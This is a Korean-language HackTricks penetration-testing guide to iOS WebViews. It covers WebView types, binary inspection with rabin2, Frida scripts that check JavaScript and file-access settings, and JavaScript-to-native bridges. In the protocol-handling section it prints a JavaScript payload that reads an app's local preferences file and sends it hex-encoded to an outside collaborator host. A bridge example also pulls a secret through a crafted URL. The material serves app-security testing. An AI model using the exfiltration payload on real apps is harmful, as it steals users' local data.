iOS WebViews

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

이 페이지의 코드는 여기에서 추출되었습니다. 자세한 내용은 해당 페이지를 확인하세요.

웹뷰 유형

웹뷰는 애플리케이션 내에서 웹 콘텐츠를 대화식으로 표시하는 데 사용됩니다. iOS 애플리케이션에는 다양한 유형의 웹뷰가 있으며 다른 기능과 보안 기능을 제공합니다. 간단한 개요는 다음과 같습니다:

  • UIWebView는 iOS 12 이후에 권장되지 않으며 JavaScript를 비활성화할 수 없어 스크립트 주입 및 Cross-Site Scripting (XSS) 공격에 취약합니다.

  • WKWebView는 앱에 웹 콘텐츠를 통합하는 우선적인 옵션으로, 콘텐츠와 보안 기능에 대한 향상된 제어를 제공합니다. JavaScript는 기본적으로 활성화되어 있지만 필요한 경우 비활성화할 수 있습니다. 또한 자바스크립트가 자동으로 창을 열지 않도록하는 기능을 지원하며 모든 콘텐츠가 안전하게 로드되도록 보장합니다. 또한 WKWebView의 아키텍처는 주요 앱 프로세스에 영향을 미치는 메모리 손상 위험을 최소화합니다.

  • SFSafariViewController는 앱 내에서 표준화된 웹 브라우징 경험을 제공하며, 읽기 전용 주소 필드, 공유 및 탐색 버튼, Safari에서 콘텐츠를 열기 위한 직접 링크를 포함한 특정 레이아웃으로 인식됩니다. WKWebView와 달리 SFSafariViewController에서는 JavaScript를 비활성화할 수 없으며, 앱과 Safari가 쿠키와 데이터를 공유하여 사용자의 개인 정보를 유지합니다. App Store 가이드라인에 따라 눈에 잘 띄게 표시되어야 합니다.

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

웹뷰 구성 탐색 요약

정적 분석 개요

웹뷰 구성을 조사하는 과정에서 두 가지 주요 유형인 UIWebViewWKWebView에 초점을 맞추고 있습니다. 바이너리 내에서 이러한 웹뷰를 식별하기 위해 특정 클래스 참조와 초기화 메서드를 검색하는 명령을 사용합니다.

  • UIWebView 식별

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

이 명령은 이진 파일에서 관련된 텍스트 문자열을 검색하여 UIWebView의 인스턴스를 찾는 데 도움이 됩니다.

  • WKWebView 식별

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

마찬가지로, WKWebView에 대해서는 이 명령어가 해당 사용법을 나타내는 텍스트 문자열을 바이너리에서 검색합니다.

또한, WKWebView가 어떻게 초기화되는지 찾기 위해 다음 명령어가 실행되며, 초기화와 관련된 메서드 시그니처를 대상으로 합니다:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript 구성 확인

WKWebView의 경우, 필요하지 않은 경우 JavaScript를 비활성화하는 것이 좋은 방법이라고 강조되고 있습니다. 컴파일된 이진 파일을 검색하여 javaScriptEnabled 속성이 false로 설정되어 JavaScript가 비활성화되었는지 확인합니다.

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

Only Secure Content Verification (보안 콘텐츠 확인)

WKWebViewUIWebView와는 달리 혼합된 콘텐츠 문제를 식별하는 기능을 제공합니다. 이는 hasOnlySecureContent 속성을 사용하여 모든 페이지 리소스가 안전한 연결을 통해 로드되었는지 확인합니다. 컴파일된 이진 파일에서의 검색은 다음과 같이 수행됩니다:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

동적 분석 통찰력

동적 분석은 WebView 인스턴스와 해당 속성을 검사하는 것을 의미합니다. webviews_inspector.js라는 스크립트를 사용하여 UIWebView, WKWebViewSFSafariViewController 인스턴스를 대상으로 합니다. 이 스크립트는 URL 및 JavaScript 및 보안 콘텐츠와 관련된 설정과 함께 찾은 인스턴스에 대한 정보를 기록합니다.

힙 검사는 ObjC.choose()를 사용하여 WebView 인스턴스를 식별하고 javaScriptEnabledhasonlysecurecontent 속성을 확인할 수 있습니다.

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

다음과 같이 스크립트가 실행됩니다:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

주요 결과:

  • WebView의 인스턴스를 성공적으로 찾고 검사합니다.

  • JavaScript 활성화 및 안전한 콘텐츠 설정을 확인합니다.

이 요약은 WebView 구성을 정적 및 동적 접근 방식을 통해 분석하는 데 관련된 중요한 단계와 명령을 요약한 것으로, JavaScript 활성화 및 혼합 콘텐츠 감지와 같은 보안 기능에 초점을 맞추고 있습니다.

WebView 프로토콜 처리

WebView에서 콘텐츠를 처리하는 것은 특히 http(s)://, file://, tel://와 같은 다양한 프로토콜을 다룰 때 중요한 측면입니다. 이러한 프로토콜은 앱 내에서 원격 및 로컬 콘텐츠를 로드할 수 있게 합니다. 로컬 콘텐츠를 로드할 때는 사용자가 파일 이름이나 경로를 조작하거나 콘텐츠 자체를 편집하는 것을 방지하기 위해 주의가 필요합니다.

WebViews는 콘텐츠 로딩을 위해 다양한 메서드를 제공합니다. UIWebView는 현재 사용이 중단된 상태이지만, loadHTMLString:baseURL:loadData:MIMEType:textEncodingName:baseURL:과 같은 메서드를 사용합니다. 반면 WKWebView는 웹 콘텐츠를 위해 loadHTMLString:baseURL:, loadData:MIMEType:textEncodingName:baseURL:loadRequest:를 사용합니다. 로컬 파일을 로드하기 위해 일반적으로 pathForResource:ofType:, URLForResource:withExtension:, init(contentsOf:encoding:)과 같은 메서드를 사용합니다. 특히 loadFileURL:allowingReadAccessToURL: 메서드는 WebView에 특정 URL이나 디렉토리를 로드할 수 있으며, 디렉토리가 지정된 경우 민감한 데이터가 노출될 수 있습니다.

이러한 메서드를 소스 코드나 컴파일된 이진 파일에서 찾으려면 다음과 같은 명령을 사용할 수 있습니다:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

파일 액세스에 관해서, UIWebView는 일반적으로 허용하지만, WKWebView는 기본적으로 allowFileAccessFromFileURLsallowUniversalAccessFromFileURLs 설정을 도입하여 파일 URL로부터의 액세스를 관리합니다. 두 설정 모두 기본적으로 false로 설정되어 있습니다.

보안 설정을 위해 WKWebView 구성을 검사하는 Frida 스크립트 예제가 제공됩니다:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

마지막으로, 로컬 파일을 유출하기 위한 JavaScript 페이로드의 예는 잘못 구성된 WebView와 관련된 잠재적인 보안 위험을 보여줍니다. 이 페이로드는 파일 내용을 16진수 형식으로 인코딩한 후 서버로 전송합니다. 이는 WebView 구현에서 엄격한 보안 조치의 중요성을 강조합니다.

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);

웹뷰를 통해 노출된 네이티브 메서드

iOS에서 웹뷰 네이티브 인터페이스 이해하기

iOS 7부터 Apple은 웹뷰 내의 JavaScript와 네이티브 Swift 또는 Objective-C 객체 간의 통신을 위한 API를 제공했습니다. 이 통합은 주로 두 가지 방법을 통해 이루어집니다:

  • JSContext: Swift 또는 Objective-C 블록이 JSContext 내의 식별자에 연결될 때 자동으로 JavaScript 함수가 생성됩니다. 이를 통해 JavaScript와 네이티브 코드 간의 원활한 통합과 통신이 가능해집니다.

  • JSExport 프로토콜: JSExport 프로토콜을 상속함으로써 네이티브 속성, 인스턴스 메서드 및 클래스 메서드를 JavaScript에 노출시킬 수 있습니다. 이는 JavaScript 환경에서 수행된 변경 사항이 네이티브 환경에 반영되고 그 반대도 가능함을 의미합니다. 그러나 이 방법을 통해 민감한 데이터가 무심코 노출되지 않도록 주의해야 합니다.

Objective-C에서 JSContext에 접근하기

Objective-C에서 UIWebViewJSContext는 다음 코드로 검색할 수 있습니다:

[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]

WKWebView과의 통신

WKWebView에서는 JSContext에 직접적인 접근이 불가능합니다. 대신, postMessage 함수를 통해 메시지 전달이 이루어지며, 이를 통해 JavaScript와 네이티브 간의 통신이 가능해집니다. 이러한 메시지에 대한 핸들러는 다음과 같이 설정되며, 이를 통해 JavaScript가 네이티브 애플리케이션과 안전하게 상호작용할 수 있습니다:

func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")

if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}

상호작용 및 테스트

JavaScript는 스크립트 메시지 핸들러를 정의함으로써 네이티브 레이어와 상호작용할 수 있습니다. 이를 통해 웹페이지에서 네이티브 함수를 호출하는 등의 작업이 가능합니다:

function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}

// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2

네이티브 함수 호출의 결과를 캡처하고 조작하기 위해 HTML 내에서 콜백 함수를 재정의할 수 있습니다:

<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>

네이티브 측면에서는 JavaScriptBridgeMessageHandler 클래스에서 JavaScript 호출을 처리합니다. 여기서 숫자를 곱하는 등의 작업 결과가 처리되고 JavaScript로 다시 전송되어 표시되거나 추가 조작을 위해 사용됩니다.

class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}

iOS WebViews 디버깅

(https://blog.vuplex.com/debugging-webviews의 튜토리얼을 기반으로 한 자습서)

iOS 웹뷰 내에서 웹 콘텐츠를 효과적으로 디버깅하기 위해서는 console.log()로 보낸 메시지가 Xcode 로그에 표시되지 않기 때문에 Safari의 개발자 도구를 사용하는 특정 설정이 필요합니다. 다음은 주요 단계와 요구 사항을 강조한 간소화된 가이드입니다.

  • iOS 기기에서의 준비: iOS 기기에서 Safari 웹 인스펙터를 활성화해야 합니다. 이를 위해 설정 > Safari > 고급으로 이동하여 _웹 인스펙터_를 활성화합니다.

  • macOS 기기에서의 준비: macOS 개발 기기에서 Safari 내에서 개발자 도구를 활성화해야 합니다. Safari를 실행하고 Safari > 기본 설정 > 고급에 액세스하여 개발자 메뉴 표시 옵션을 선택합니다.

  • 연결 및 디버깅: iOS 기기를 macOS 컴퓨터에 연결하고 애플리케이션을 실행한 후, macOS 기기의 Safari를 사용하여 디버깅하려는 웹뷰를 선택합니다. Safari의 메뉴 바에서 _개발_로 이동하고, iOS 기기의 이름 위로 마우스를 올려 웹뷰 인스턴스 목록을 확인한 후, 검사하려는 인스턴스를 선택합니다. 이를 위해 새로운 Safari 웹 인스펙터 창이 열립니다.

그러나 제한 사항을 염두에 두세요:

  • 이 방법으로 디버깅하려면 macOS 기기가 필요하며, Safari에 의존합니다.

  • Xcode를 통해 기기에 로드된 애플리케이션의 웹뷰만 디버깅할 수 있습니다. App Store나 Apple Configurator를 통해 설치된 앱의 웹뷰는 이 방법으로 디버깅할 수 없습니다.

참고 자료

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated